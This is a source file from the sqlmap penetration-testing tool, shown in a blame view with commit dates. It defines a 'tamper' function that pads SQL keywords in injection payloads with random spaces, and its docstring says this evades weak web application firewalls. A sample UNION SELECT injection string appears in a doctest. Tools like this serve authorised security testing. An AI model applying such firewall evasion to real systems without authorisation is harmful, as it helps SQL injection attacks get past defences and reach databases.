sqlmap/tamper/multiplespaces.py

51 lines
1.3 KiB
Python
Raw Permalink Normal View History

2019-05-08 13:47:52 +03:00
#!/usr/bin/env python
2011-06-09 16:14:14 +04:00
"""
2022-01-03 13:30:34 +03:00
Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
2017-10-11 15:50:46 +03:00
See the file 'LICENSE' for copying permission
2011-06-09 16:14:14 +04:00
"""
import random
import re
from lib.core.data import kb
2019-05-03 14:20:15 +03:00
from lib.core.datatype import OrderedSet
2019-06-04 15:44:06 +03:00
from lib.core.enums import PRIORITY
2011-06-09 16:14:14 +04:00
__priority__ = PRIORITY.NORMAL
def dependencies():
pass
2012-12-03 17:27:01 +04:00
def tamper(payload, **kwargs):
2011-06-09 16:14:14 +04:00
"""
2018-07-31 02:17:11 +03:00
Adds multiple spaces (' ') around SQL keywords
Notes:
* Useful to bypass very weak and bespoke web application firewalls
that has poorly written permissive regular expressions
2011-06-09 16:14:14 +04:00
Reference: https://www.owasp.org/images/7/74/Advanced_SQL_Injection.ppt
>>> random.seed(0)
>>> tamper('1 UNION SELECT foobar')
2019-05-03 14:20:15 +03:00
'1 UNION SELECT foobar'
2011-06-09 16:14:14 +04:00
"""
retVal = payload
if payload:
2019-05-03 14:20:15 +03:00
words = OrderedSet()
2011-06-09 16:14:14 +04:00
2018-02-08 18:49:16 +03:00
for match in re.finditer(r"\b[A-Za-z_]+\b", payload):
2011-06-09 16:14:14 +04:00
word = match.group()
if word.upper() in kb.keywords:
words.add(word)
for word in words:
2019-05-03 14:20:15 +03:00
retVal = re.sub(r"(?<=\W)%s(?=[^A-Za-z_(]|\Z)" % word, "%s%s%s" % (' ' * random.randint(1, 4), word, ' ' * random.randint(1, 4)), retVal)
retVal = re.sub(r"(?<=\W)%s(?=[(])" % word, "%s%s" % (' ' * random.randint(1, 4), word), retVal)
2011-06-09 16:14:14 +04:00
return retVal